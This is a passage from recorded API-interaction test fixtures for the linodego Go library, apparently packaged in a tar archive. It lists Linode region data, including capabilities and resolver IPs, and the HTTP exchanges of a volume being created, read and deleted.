"172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 40}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 28 Nov 2024 05:52:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-def","region":"ap-west","tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 7301557, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme", "encryption": "disabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "344" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 28 Nov 2024 05:52:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "100" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/7301557 method: GET response: body: '{"id": 7301557, "status": "active", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme", "encryption": "disabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "342" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 28 Nov 2024 05:52:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/7301557 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 28 Nov 2024 05:52:40 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestVolume_WaitForLinodeID_volume.yaml000066400000000000000000001074111474652371000340760ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nz-akl-1", "label": "Auckland, NZ", "country": "nz", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-den-1", "label": "Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-1", "label": "Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-1", "label": "Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-1", "label": "Johannesburg, ZA", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-1", "label": "Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-1", "label": "Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-1", "label": "Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-1", "label": "Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": 